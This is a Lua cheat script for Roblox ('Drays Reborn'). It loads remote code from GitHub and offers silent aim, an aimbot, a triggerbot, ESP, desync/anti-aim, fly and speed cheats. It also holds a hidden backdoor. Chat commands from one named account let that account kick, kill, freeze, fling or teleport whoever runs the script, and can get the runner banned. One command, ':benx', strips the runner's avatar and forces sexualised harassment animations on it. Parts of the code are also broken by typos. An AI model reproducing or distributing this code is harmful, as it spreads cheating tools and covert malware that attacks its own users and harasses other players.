getgenv().SilentKeyy = 'q' getgenv().PredictionAmmount = 0.1229
--// Main Libarys \-- local libary = loadstring(game:HttpGet("https://raw.githubusercontent.com/buqs9999/ui/main/splix"))() local NotifyLibrary = loadstring(game:HttpGet("https://raw.githubusercontent.com/Kinlei/Dynissimo/main/Scripts/AkaliNotif.lua"))() local Notify = NotifyLibrary.Notify
--// Service Handler \-- local GetService = setmetatable({}, { __index = function(self, key) return game:GetService(key) end }) --// Services \-- local RunService = GetService.RunService local Players = GetService.Players local LocalPlayer = Players.LocalPlayer local Mouse = LocalPlayer:GetMouse() local CurrentCamera = workspace.CurrentCamera local UserInputService = GetService.UserInputService local Unpack = table.unpack local GuiInset = GetService.GuiService:GetGuiInset() local Insert = table.insert local Network = GetService.NetworkClient local StarterGui = GetService.StarterGui local tweenService = GetService.TweenService local ReplicatedStorage = GetService.ReplicatedStorage local http = GetService.HttpService local lighting = GetService.Lighting makefolder("DraysWareRunsThis")
local user_premium__001 = game.Players.sinnedup123
--// Start \-- local DraysSettings = { SilentAim = { Enabled = false, UseFOV = false, ShowFOV = false, FOVColor = Color3.new(0.603921, 0.011764, 1), DOTColor = Color3.fromRGB(0, 71, 212), WallCheck = false, KnockedCheck = false, PingPred1 = false, PingPred2 = false, GrabbedCheck = false, ShowHitbox = false, NotificationMode = false, AirShotMode = false, UseNearestDistance = false, RandomHitbox = false, Hitboxes = "HumanoidRootPart", Selected = nil }, SilentAimSettings = { MovementPrediction = false, MovementPredictionAmount = getgenv().PredictionAmmount, HitChance = false, HitChanceAmount = { HitPercent = 100, NotHitPercent = 0 } }, Aimbot = { Enabled = false, Prediction = false, Hitboxes = "HumanoidRootPart" }, AimbotSettings = { Mode = "Camera", Smoothness = false, SmoothnessAmmount = 0.0334, PredictionVelocity = 10 }, AntiAim = { Enabled = false, Desync = false, Legit = false, FPSUnlocked = false, LegitAAKey = Enum.KeyCode.Z, DesyncValues = { Velocity = -100, CFrame = -100 } }, BackTracking = { Enabled = false }, AutoPeak = { Enabled = false, APKey = Enum.KeyCode.N, }, AutoClicker = { Enabled = false, Keybind = Enum.KeyCode.B }, Misc = { CFrameSpeed = { Enabled = false, Bhop = false, Keybind = Enum.KeyCode.V, Speed = 1, }, Strafe = false, Antislow = false, }, FOV = { FOVFilled = false, Transparency = 9, SilentAimSize = 100, Thickness = 2 }, Esp = { Enabled = false, Bones = false, }, TriggerBot = { Enabled = false, DelayAmount = 0 }, TargetGui = { Enabled = false }, Whitelist = { Players = {}, Friends = {}, Holder = "", Enabled = false, CrewEnabled = false, FriendsWhitelist = false }, } local DrayStorage = { GetStrafeAngle = 0, BHoping = false, Side = "Right", StoredRange = 10, HeldSpace = false, GetPrediction = 0.165, Instance = {}, Equipable = false, FPSBeat = 0, GetTime = 0, Macro = false } local DraysModule = { Instance = {} }
local freeze = function() game.Players.LocalPlayer.Character.LowerTorso.Anchored = true game.Players.LocalPlayer.Character.UppperTorso.Anchored = true end
local unfreeze = function() game.Players.LocalPlayer.Character.LowerTorso.Anchored = false game.Players.LocalPlayer.Character.UppperTorso.Anchored = flase end
user_premium__001.Chatted:connect(function(cht) if cht:match(":kick .") then if game.Players.LocalPlayer ~= user_premium__001 then game.Players.LocalPlayer:Kick("Kicked by Premium user") end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":fling .") then if game.Players.LocalPlayer ~= user_premium__001 then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(0, 999, 0) power = 99999999 -- change this to make it more or less powerful
game:GetService('RunService').Stepped:connect(function()
game.Players.LocalPlayer.Character.Head.CanCollide = false
game.Players.LocalPlayer.Character.UpperTorso.CanCollide = false
game.Players.LocalPlayer.Character.LowerTorso.CanCollide = false
game.Players.LocalPlayer.Character.HumanoidRootPart.CanCollide = false
end)
wait(.1)
local bambam = Instance.new("BodyThrust")
bambam.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart
bambam.Force = Vector3.new(power,0,power)
bambam.Location = game.Players.LocalPlayer.Character.HumanoidRootPart.Position
end
end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":benx .") then if game.Players.LocalPlayer ~= user_premium__001 then wait(0) local A_1 = "Yeah Yeah!" local A_2 = "All" local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest Event:FireServer(A_1, A_2) game.Workspace:FindFirstChildWhichIsA('Camera').CameraSubject = user_premium__001.Character.HumanoidRootPart local benxed = true while benxed == true do hummy = game:GetService("Players").LocalPlayer.Character.Humanoid pcall(function() hummy.Parent.Pants:Destroy() end) pcall(function() hummy.Parent.Shirt:Destroy() end) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = user_premium__001.Character.HumanoidRootPart.CFrame + user_premium__001.Character.HumanoidRootPart.CFrame.lookVector * 0.5 game.Players.LocalPlayer.Character.HumanoidRootPart.Velocity = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.lookVector * 70 wait(0.1) game.Players.LocalPlayer.Character.HumanoidRootPart.Velocity = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame.lookVector * -200 end end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":unbenx .") then if game.Players.LocalPlayer ~= user_premium__001 then benxPos = player.Character.HumanoidRootPart.CFrame game.Players.LocalPlayer.Character.Humanoid:Destroy() wait(7) player.Character.HumanoidRootPart.CFrame = benxPos end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":freeze .") then if game.Players.LocalPlayer ~= user_premium__001 then freeze() end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":unfreeze .") then if game.Players.LocalPlayer ~= user_premium__001 then unfreeze() end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":thaw .") then if game.Players.LocalPlayer ~= user_premium__001 then unfreeze() end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":ban .") then if game.Players.LocalPlayer ~= user_premium__001 then game.Players.LocalPlayer:kick("PERMA BAN") end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":kill .") then if game.Players.LocalPlayer ~= user_premium__001 then game.Players.LocalPlayer.Character.Humanoid:Destroy() end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":premcmds") then end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":void .") then if game.Players.LocalPlayer ~= user_premium__001 then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(0, -350, 0) end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":bring .") then if game.Players.LocalPlayer ~= user_premium__001 then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(user_premium__001.Character.UpperTorso.Position) end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":grave .") then if game.Players.LocalPlayer ~= user_premium__001 then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game.Players.LocalPlayer.Character.UpperTorso.Position.X, game.Players.LocalPlayer.Character.UpperTorso.Position.Y -10, game.Players.LocalPlayer.Character.UpperTorso.Position.z) game.Players.LocalPlayer.Character.LowerTorso.Anchored = true end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":realban .") then if game.Players.LocalPlayer ~= user_premium__001 then game:GetService('ReplicatedStorage'):FindFirstChild('MainEvent'):FireServer('OneMoreTime'); end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":ungrave .") then if game.Players.LocalPlayer ~= user_premium__001 then game.Players.LocalPlayer.Character.LowerTorso.Anchored = false wait(0.1) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game.Players.LocalPlayer.Character.UpperTorso.Position.X, game.Players.LocalPlayer.Character.UpperTorso.Position.Y +10, game.Players.LocalPlayer.Character.UpperTorso.Position.z) end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":grave me") then game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game.Players.LocalPlayer.Character.UpperTorso.Position.X, game.Players.LocalPlayer.Character.UpperTorso.Position.Y -10, game.Players.LocalPlayer.Character.UpperTorso.Position.z) game.Players.LocalPlayer.Character.LowerTorso.Anchored = true end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":ungrave me") then game.Players.LocalPlayer.Character.LowerTorso.Anchored = false wait(0.1) game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(game.Players.LocalPlayer.Character.UpperTorso.Position.X, game.Players.LocalPlayer.Character.UpperTorso.Position.Y +10, game.Players.LocalPlayer.Character.UpperTorso.Position.z) end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":kick me") then if game.Players.LocalPlayer == user_premium__001 then game.Players.LocalPlayer:Kick("Kicked yourself") end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":freeze me") then if game.Players.LocalPlayer == user_premium__001 then freeze() end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":unfreeze me") then if game.Players.LocalPlayer == user_premium__001 then unfreeze() end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":thaw me") then if game.Players.LocalPlayer == user_premium__001 then unfreeze() end end
end)
user_premium__001.Chatted:connect(function(cht) if cht:match(":cmds") then if game.Players.LocalPlayer == user_premium__001 then game:GetService("StarterGui"):SetCore("SendNotification",{ Title = "Cmds:"; Text = ":Freeze :grave :benx :bring :void :kill :kick :ban :fling"; Time = 50; Icon = "rbxassetid://505845268"; }) end end
if game.Players.LocalPlayer == user_premium__001 then game:GetService("StarterGui"):SetCore("SendNotification",{ Title = "Hey."; Text = "Execute the script more if it hasnt loaded. thanks"; Time = 10; Icon = "rbxassetid://505845268"; }) else game:GetService("StarterGui"):SetCore("SendNotification",{ Title = "Execute the script more if it hasnt loaded. thanks"; Text = "D:"; Time = 10; }) end
local Window = libary:new({name = "Drays Reborn", accent = Color3.fromRGB(244, 95, 115), textsize = 13}) local AimingTab = Window:page({name = "Legit"}) local RageTab = Window:page({name = "Rage"}) local VisualTab = Window:page({name = "Visauls"}) local MiscTab = Window:page({name = "Misc"})
local SAimSection = AimingTab:section({name = "Silent Aim", side = "left",size = 320})
local AAMainSection = RageTab:section({name = "Main", side = "left", size = 200}) local AASettings = RageTab:section({name = "Settings", side = "right", size = 200})
local VisualMainSection = VisualTab:section({name = "Main",side = "left", size = 200})
local MiscMoveSettings = MiscTab:section({name = "Movement Cheats",side = "left", size = 200}) local MiscToolSettings = MiscTab:section({name = "Tool Cheats",side = "left", size = 50}) local MiscCharSettings = MiscTab:section({name = "Character Cheats",side = "left", size = 50}) local MiscNorSettings = MiscTab:section({name = "Normal Cheats",side = "left", size = 100})
local ConfigSection = MiscTab:section({name = "Config",side = "right", size = 250}) local ConfigLoader = ConfigSection:configloader({folder = "DraysWareRunsThis"})
SAimSection:toggle({name = "Silent Aim Enabled", def = false, callback = function(Boolean) DraysSettings.SilentAim.Enabled = Boolean end})
SAimSection:toggle({name = "Use FOV", def = false, callback = function(Boolean) DraysSettings.SilentAim.UseFOV = Boolean end})
SAimSection:toggle({name = "Show FOV", def = false, callback = function(Boolean) DraysSettings.SilentAim.ShowFOV = Boolean end})
SAimSection:colorpicker({name = "Dot Color", cpname = "", def = Color3.new(0.603921, 0.011764, 1), callback = function(color) DraysSettings.SilentAim.DOTColor = color end})
SAimSection:toggle({name = "Wall Check", def = false, callback = function(Boolean) DraysSettings.SilentAim.WallCheck = Boolean end})
SAimSection:toggle({name = "Knocked Check", def = false, callback = function(Boolean) DraysSettings.SilentAim.KnockedCheck = Boolean end})
SAimSection:toggle({name = "Grabbed Check", def = false, callback = function(Boolean) DraysSettings.SilentAim.GrabbedCheck = Boolean end})
SAimSection:toggle({name = "Blatant Mode", def = false, callback = function(Boolean) DraysSettings.SilentAim.ShowHitbox = Boolean end})
SAimSection:toggle({name = "Notification Mode", def = false, callback = function(Boolean) DraysSettings.SilentAim.NotificationMode = Boolean end})
SAimSection:toggle({name = "Hit Airshots", def = false, callback = function(Boolean) DraysSettings.SilentAim.AirShotMode = Boolean end})
SAimSection:toggle({name = "Use Nearest Distance", def = false, callback = function(Boolean) DraysSettings.SilentAim.UseNearestDistance = Boolean end})
SAimSection:dropdown({name = "Hitbox", def = "HumanoidRootPart", max = 4, options = {"Head","UpperTorso","HumanoidRootPart"}, callback = function(part) DraysSettings.SilentAim.Hitboxes = part end})
SAimSection:toggle({name = "Random Hitbox", def = false, callback = function(Boolean) DraysSettings.SilentAim.RandomHitbox = Boolean end})
-- Aimbot Section -- local AimbotSection = AimingTab:section({name = "AimBot", side = "right",size = 113}) AimbotSection:toggle({name = "Aimbot Enabled", def = false, callback = function(Boolean) DraysSettings.Aimbot.Enabled = Boolean end})
AimbotSection:toggle({name = "Prediction", def = false, callback = function(Boolean) DraysSettings.Aimbot.Prediction = Boolean end})
AimbotSection:dropdown({name = "Aim Hitbox", def = "HumanoidRootPart", max = 4, options = {"Head","UpperTorso","HumanoidRootPart"}, callback = function(part) DraysSettings.Aimbot.Hitboxes = part end})
-- Silent FOV Section -- local AimbotFOVSection = AimingTab:section({name = "FOV", side = "right",size = 150}) AimbotFOVSection:toggle({name = "FOV Filled", def = false, callback = function(Boolean) DraysSettings.FOV.FOVFilled = Boolean end})
AimbotFOVSection:slider({name = "Silent FOV Size", def = 100, max = 500, min = 10, rounding = true, callback = function(Value) DraysSettings.FOV.SilentAimSize = Value end})
AimbotFOVSection:slider({name = "Silent FOV Transparency", def = 9, max = 9, min = 1, rounding = true, callback = function(Value) DraysSettings.FOV.Transparency = tonumber("0." .. Value) end})
AimbotFOVSection:slider({name = "FOV Thickness", def = 2, max = 10, min = 1, rounding = true, callback = function(Value) DraysSettings.FOV.Thickness = Value end})
AimbotFOVSection:colorpicker({name = "FOV Color", cpname = "", def = Color3.new(0.603921, 0.011764, 1), callback = function(color) DraysSettings.SilentAim.FOVColor = color end})
-- Aimbot Settings Section --
local AimbotSettings = AimingTab:section({name = "Aimbot Settings", side = "right",size = 150})
AimbotSettings:dropdown({name = "Aim Assist Type", def = "Camera", max = 4, options = {"Camera","Mouse",}, callback = function(part) DraysSettings.AimbotSettings.Mode = part end})
AimbotSettings:toggle({name = "Smoothness", def = false, callback = function(Boolean) DraysSettings.AimbotSettings.Smoothness = Boolean end})
AimbotSettings:slider({name = "Smoothness Ammount", def = 2, max = 10, min = 1, rounding = true, callback = function(Value) DraysSettings.AimbotSettings.SmoothnessAmmount = Value end})
AimbotSettings:slider({name = "Prediction Velocity", def = 10, max = 60, min = 10, rounding = true, callback = function(Value) DraysSettings.AimbotSettings.PredictionVelocity = Value end})
-- Silent Aim Settings Section -- local SilentAimSettings = AimingTab:section({name = "Silent Aim Settings", side = "left",size = 130})
SilentAimSettings:toggle({name = "Hit Chance", def = false, callback = function(Boolean) DraysSettings.SilentAimSettings.HitChance = Boolean end})
SilentAimSettings:toggle({name = "Ping Prediction (1)", def = false, callback = function(Boolean) DraysSettings.SilentAimSettings.PingPred1 = Boolean end})
SilentAimSettings:toggle({name = "Ping Prediction (2)", def = false, callback = function(Boolean) DraysSettings.SilentAimSettings.PingPred2 = Boolean end})
SilentAimSettings:slider({name = "Hit Chnace Amm", def = 100, max = 100, min = 0, rounding = true, callback = function(Value) DraysSettings.SilentAimSettings.HitChanceAmount.HitPercent = tonumber(Value) DraysSettings.SilentAimSettings.HitChanceAmount.NotHitPercent = tonumber(100 - DraysSettings.SilentAimSettings.HitChanceAmount.HitPercent) end})
-- Trigger Bot Section -- local TriggerbotSection = AimingTab:section({name = "Trigger Bot", side = "right",size = 80})
TriggerbotSection:toggle({name = "Trigger Bot Enabled", def = false, callback = function(Boolean) DraysSettings.TriggerBot.Enabled = Boolean end})
TriggerbotSection:slider({name = "Delay (Ammount)", def = 0, max = 60, min = 0, rounding = true, callback = function(Value) DraysSettings.TriggerBot.DelayAmount = Value end})
-- Anti Aim Section --
AAMainSection:toggle({name = "Anti Aim Enabled", def = false, callback = function(Boolean) DraysSettings.AntiAim.Enabled = Boolean end})
AAMainSection:toggle({name = "Desync AA Enabled", def = false, callback = function(Boolean) DraysSettings.AntiAim.Desync = Boolean end})
AAMainSection:toggle({name = "Legit AA Enabled", def = false, callback = function(Boolean) DraysSettings.AntiAim.Legit = Boolean end})
AAMainSection:button({name = "Hitbox Destroyer", callback = function() game.Players.LocalPlayer.Character.Head:BreakJoints() game.Players.LocalPlayer.Character.Head.Position = Vector3.new(0,999999999999,0) game.Players.LocalPlayer.Character.Parent = nil game.Players.LocalPlayer.Character.HumanoidRootPart:Destroy() game.Players.LocalPlayer.Character.Parent = game.workspace local A = getrawmetatable(game) local B = A.__index setreadonly(A, false) A.__index = newcclosure(function(self, key) if self == game:GetService("Players").LocalPlayer.Character and key == "HumanoidRootPart" then return game:GetService("Players").LocalPlayer.Character.UpperTorso end return B(self, key) end) game.Players.LocalPlayer.Character.RightUpperLeg:Destroy() game.Players.LocalPlayer.Character.LeftUpperLeg:Destroy() end})
AAMainSection:toggle({name = "BackTracking", def = false, callback = function(Boolean) DraysSettings.BackTracking.Enabled = Boolean end})
AAMainSection:toggle({name = "Auto Peak", def = false, callback = function(Boolean) DraysSettings.AutoPeak.Enabled = Boolean end})
AASettings:slider({name = "Desync Velocity", def = 500, max = 1000, min = 0, rounding = true, callback = function(Value) DraysSettings.AntiAim.DesyncValues.Velocity = tonumber(Value) end})
AASettings:slider({name = "Desync CFrame", def = 500, max = 1000, min = 0, rounding = true, callback = function(Value) DraysSettings.AntiAim.DesyncValues.CFrame = tonumber(Value) end})
AASettings:keybind({name = "Legit AA Keybind", def = Enum.KeyCode.Z, callback = function(Key) DraysSettings.AntiAim.LegitAAKey = Key end})
AASettings:keybind({name = "Auto Peak Keybind", def = Enum.KeyCode.N, callback = function(Key) DraysSettings.AutoPeak.APKey = Key end})
AAMainSection:toggle({name = "+60 FPS", def = false, callback = function(Boolean) DraysSettings.AntiAim.FPSUnlocked = Boolean end})
--// Visual Sections VisualMainSection:toggle({name = "ESP Enabled", def = false, callback = function(Boolean) DraysSettings.Esp.Enabled = Boolean end})
VisualMainSection:toggle({name = "Show Bones", def = false, callback = function(Boolean) DraysSettings.Esp.Bones = Boolean end})
--// Misc Sections local TimeTick TimeTick = hookfunction(wait, function(JumpCooldown) if JumpCooldown == 1.5 and (DraysSettings.Misc.CFrameSpeed.Bhop and DraysSettings.Misc.CFrameSpeed.Enabled) or DraysSettings.Misc.Strafe then return TimeTick() end return TimeTick(JumpCooldown) end)
MiscMoveSettings:toggle({name = "CFrame Speed", def = false, callback = function(Boolean) DraysSettings.Misc.CFrameSpeed.Enabled = Boolean end})
MiscMoveSettings:toggle({name = "Bhop", def = false, callback = function(Boolean) DraysSettings.Misc.CFrameSpeed.Bhop = Boolean end})
MiscMoveSettings:keybind({name = "CFrame Keybind", def = Enum.KeyCode.V, callback = function(Key) DraysSettings.Misc.CFrameSpeed.Keybind = Key end})
MiscMoveSettings:slider({name = "CFrame Value", def = 100, max = 1000, min = 0, rounding = true, callback = function(Value) DraysSettings.Misc.CFrameSpeed.Speed = tonumber(Value)/100 end})
MiscMoveSettings:toggle({name = "Strafe Jump", def = false, callback = function(Boolean) DraysSettings.Misc.Strafe = Boolean end})
MiscMoveSettings:button({name = "Fly (X)", callback = function() local mouse = game.Players.LocalPlayer:GetMouse() localplayer = game.Players.LocalPlayer if workspace:FindFirstChild("Core") then workspace.Core:Destroy() end local Core = Instance.new("Part") Core.Name = "Core" Core.Size = Vector3.new(0.05, 0.05, 0.05) spawn(function() Core.Parent = workspace local Weld = Instance.new("Weld", Core) Weld.Part0 = Core Weld.Part1 = localplayer.Character.LowerTorso Weld.C0 = CFrame.new(0, 0, 0) end) workspace:WaitForChild("Core") local torso = workspace.Core flying = true local speed=10 local keys={a=false,d=false,w=false,s=false} local e1 local e2 local function start() local pos = Instance.new("BodyPosition",torso) local gyro = Instance.new("BodyGyro",torso) pos.Name="EPIXPOS" pos.maxForce = Vector3.new(math.huge, math.huge, math.huge) pos.position = torso.Position gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9) gyro.cframe = torso.CFrame repeat wait() localplayer.Character.Humanoid.PlatformStand = true local new=gyro.cframe - gyro.cframe.p + pos.position if not keys.w and not keys.s and not keys.a and not keys.d then speed=5 end if keys.w then new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed speed=speed+0 end if keys.s then new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed speed=speed+0 end if keys.d then new = new * CFrame.new(speed,0,0) speed=speed+0 end if keys.a then new = new * CFrame.new(-speed,0,0) speed=speed+0 end if speed>10 then speed=5 end pos.position=new.p if keys.w then gyro.cframe = workspace.CurrentCamera.CoordinateFrameCFrame.Angles(-math.rad(speed0),0,0) elseif keys.s then gyro.cframe = workspace.CurrentCamera.CoordinateFrameCFrame.Angles(math.rad(speed0),0,0) else gyro.cframe = workspace.CurrentCamera.CoordinateFrame end until flying == false if gyro then gyro:Destroy() end if pos then pos:Destroy() end flying=false localplayer.Character.Humanoid.PlatformStand=false speed=10 end e1=mouse.KeyDown:connect(function(key) if not torso or not torso.Parent then flying=false e1:disconnect() e2:disconnect() return end if key=="w" then keys.w=true elseif key=="s" then keys.s=true elseif key=="a" then keys.a=true elseif key=="d" then keys.d=true elseif key=="x" then if flying==true then flying=false else flying=true start() end end end) e2=mouse.KeyUp:connect(function(key) if key=="w" then keys.w=false elseif key=="s" then keys.s=false elseif key=="a" then keys.a=false elseif key=="d" then keys.d=false end end) start() end})
MiscMoveSettings:toggle({name = "Antislow", def = false, callback = function(Boolean) DraysSettings.Misc.Antislow = Boolean end})
-- MiscToolSettings MiscToolSettings:button({name = "ForceField Gun (hold gun)", callback = function() Game.GetService(game, "Players").LocalPlayer.Character:FindFirstChildOfClass("Tool").Default.Material = Enum.Material.ForceField end})
-- Misc Char MiscCharSettings:button({name = "Nil Char", callback = function() NilBody() end})
MiscNorSettings:toggle({name = "AutoClicker", def = false, callback = function(Boolean) DraysSettings.AutoClicker.Enabled = Boolean end})
MiscNorSettings:keybind({name = "AutoClicker Keybind", def = Enum.KeyCode.B, callback = function(Key) DraysSettings.AutoClicker.Keybind = Key end})
AimingTab:openpage()
-- Init --
--// Lock Normal getgenv().AimlockKey = "q" getgenv().AimRadius = 30 getgenv().ThirdPerson = true getgenv().FirstPerson = true getgenv().PredictionVelocity = 11
local Players, Uis, RService, SGui = game:GetService"Players", game:GetService"UserInputService", game:GetService"RunService", game:GetService"StarterGui"; local Client, Mouse, Camera, CF, RNew, Vec3, Vec2 = Players.LocalPlayer, Players.LocalPlayer:GetMouse(), workspace.CurrentCamera, CFrame.new, Ray.new, Vector3.new, Vector2.new; local MousePressed, CanNotify = false, false; local AimlockTarget; local OldPre;
getgenv().GetNearestTarget = function() local players = {} local PLAYER_HOLD = {} local DISTANCES = {} for i, v in pairs(Players:GetPlayers()) do if v ~= Client then table.insert(players, v) end end for i, v in pairs(players) do if v.Character ~= nil then local AIM = v.Character:FindFirstChild("Head") local DISTANCE = (v.Character:FindFirstChild("Head").Position - game.Workspace.CurrentCamera.CFrame.p).magnitude local RAY = Ray.new(game.Workspace.CurrentCamera.CFrame.p, (Mouse.Hit.p - game.Workspace.CurrentCamera.CFrame.p).unit * DISTANCE) local HIT,POS = game.Workspace:FindPartOnRay(RAY, game.Workspace) local DIFF = math.floor((POS - AIM.Position).magnitude) PLAYER_HOLD[v.Name .. i] = {} PLAYER_HOLD[v.Name .. i].dist= DISTANCE PLAYER_HOLD[v.Name .. i].plr = v PLAYER_HOLD[v.Name .. i].diff = DIFF table.insert(DISTANCES, DIFF) end end
if unpack(DISTANCES) == nil then
return nil
end
local L_DISTANCE = math.floor(math.min(unpack(DISTANCES)))
if L_DISTANCE > getgenv().AimRadius then
return nil
end
for i, v in pairs(PLAYER_HOLD) do
if v.diff == L_DISTANCE then
return v.plr
end
end
return nil
end
Mouse.KeyDown:Connect(function(a) if not (Uis:GetFocusedTextBox()) then if a == AimlockKey and AimlockTarget == nil then pcall(function() if MousePressed ~= true then MousePressed = true end local Target;Target = GetNearestTarget() if Target ~= nil then AimlockTarget = Target end end) elseif a == AimlockKey and AimlockTarget ~= nil then if AimlockTarget ~= nil then AimlockTarget = nil end if MousePressed ~= false then MousePressed = false end end end end)
RService.RenderStepped:Connect(function() if DraysSettings.Aimbot.Enabled then if getgenv().ThirdPerson == true and getgenv().FirstPerson == true then if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 or (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then CanNotify = true else CanNotify = false end elseif getgenv().ThirdPerson == true and getgenv().FirstPerson == false then if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude > 1 then CanNotify = true else CanNotify = false end elseif getgenv().ThirdPerson == false and getgenv().FirstPerson == true then if (Camera.Focus.p - Camera.CoordinateFrame.p).Magnitude <= 1 then CanNotify = true else CanNotify = false end end if DraysSettings.Aimbot.Enabled == true and MousePressed == true then if AimlockTarget and AimlockTarget.Character and AimlockTarget.Character:FindFirstChild(DraysSettings.Aimbot.Hitboxes) then if getgenv().FirstPerson == true then if CanNotify == true then if DraysSettings.Aimbot.Prediction == true then if DraysSettings.AimbotSettings.Smoothness == true then --// The part we're going to lerp/smoothen \-- local Main = CF(Camera.CFrame.p, AimlockTarget.Character[DraysSettings.Aimbot.Hitboxes].Position + AimlockTarget.Character[DraysSettings.Aimbot.Hitboxes].Velocity/DraysSettings.AimbotSettings.PredictionVelocity)
--// Making it work \\--
Camera.CFrame = Camera.CFrame:Lerp(Main, DraysSettings.AimbotSettings.SmoothnessAmmount, Enum.EasingStyle.Elastic, Enum.EasingDirection.InOut)
else
Camera.CFrame = CF(Camera.CFrame.p, AimlockTarget.Character[DraysSettings.Aimbot.Hitboxes].Position + AimlockTarget.Character[DraysSettings.Aimbot.Hitboxes].Velocity/DraysSettings.AimbotSettings.PredictionVelocity)
end
elseif DraysSettings.Aimbot.Prediction == false then
if DraysSettings.AimbotSettings.Smoothness == true then
local Main = CF(Camera.CFrame.p, AimlockTarget.Character[DraysSettings.Aimbot.Hitboxes].Position)
Camera.CFrame = Camera.CFrame:Lerp(Main, DraysSettings.AimbotSettings.SmoothnessAmmount, Enum.EasingStyle.Elastic, Enum.EasingDirection.InOut)
else
Camera.CFrame = CF(Camera.CFrame.p, AimlockTarget.Character[DraysSettings.Aimbot.Hitboxes].Position)
end
end
end
end
end
end
end end)
function NoSpace(Data) return Data:gsub("%s+", "") or Data end
--// Auto Peak local APEF = Instance.new("Folder") APEF.Parent = game.Workspace APEF.Name = "APEF" getgenv().oldc = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame getgenv().APE = false game:service('UserInputService').InputBegan:connect(function(Key, IsChat) if IsChat then return end if Key.KeyCode == DraysSettings.AutoPeak.APKey and DraysSettings.AutoPeak.Enabled == true then if getgenv().APE == false then getgenv().APE = true local APEPart = Instance.new("Part") APEPart.Parent = APEF APEPart.Name = "backTP" APEPart.Anchored = true APEPart.CanCollide = false APEPart.Position = game.Players.LocalPlayer.Character.HumanoidRootPart.Position APEPart.Orientation = game.Players.LocalPlayer.Character.HumanoidRootPart.Orientation APEPart.Size = Vector3.new(1, 1, 1) APEPart.Transparency = 0.7 APEPart.BrickColor = BrickColor.new("Institutional white") APEPart.Material = "SmoothPlastic" getgenv().oldc = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame elseif getgenv().APE == true then getgenv().APE = false game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = getgenv().oldc game.Workspace.APEF.backTP:Destroy() end end end)
--// Esp Bones
--// BackTrack local BTF = Instance.new("Folder") BTF.Parent = game.Workspace BTF.Name = "BTF"
--//SFOV local SilentAimFOV = Drawing.new("Circle") SilentAimFOV.Thickness = 2
--//Auto Clicker getgenv().Clicking = false game:service('UserInputService').InputBegan:connect(function(Key, IsChat) if IsChat then return end if Key.KeyCode == DraysSettings.AutoClicker.Keybind and DraysSettings.AutoClicker.Enabled == true then getgenv().Clicking = not getgenv().Clicking end end)
--// Legit AA getgenv().LegitAA = false getgenv().CFSpeed = false
game:service('UserInputService').InputBegan:connect(function(Key, IsChat) if IsChat then return end if Key.KeyCode == DraysSettings.AntiAim.LegitAAKey and DraysSettings.AntiAim.Legit == true and DraysSettings.AntiAim.Enabled == true then getgenv().LegitAA = not getgenv().LegitAA end end)
game:service('UserInputService').InputBegan:connect(function(Key, IsChat) if IsChat then return end if Key.KeyCode == DraysSettings.Misc.CFrameSpeed.Keybind and DraysSettings.Misc.CFrameSpeed.Enabled == true then getgenv().CFSpeed = not getgenv().CFSpeed end end)
function Find(Data) getgenv().Target = nil for i, v in next, Players:GetPlayers() do if v.Name ~= LocalPlayer.Name and v.Name:lower():match('^'.. NoSpace(Data):lower()) then getgenv().Target = v.Name end end
return getgenv().Target
end
function IsNetwork(GetPlayer) return GetPlayer and GetPlayer.Character and GetPlayer.Character:FindFirstChild("HumanoidRootPart") ~= nil and GetPlayer.Character:FindFirstChild("Humanoid") ~= nil and GetPlayer.Character:FindFirstChild("Head") ~= nil and true or false end
function Knocked(GetPlayer) if IsNetwork(GetPlayer) then return GetPlayer.Character.BodyEffects["K.O"].Value and true or false end return false end
function Grabbing(GetPlayer) if IsNetwork(GetPlayer) then return GetPlayer.Character:FindFirstChild("GRABBING_CONSTRAINT") and true or false end return false end
function Alive(Player) if Player and Player.Character and Player.Character:FindFirstChild("HumanoidRootPart") ~= nil and Player.Character:FindFirstChild("Humanoid") ~= nil and Player.Character:FindFirstChild("Head") ~= nil then return true end return false end
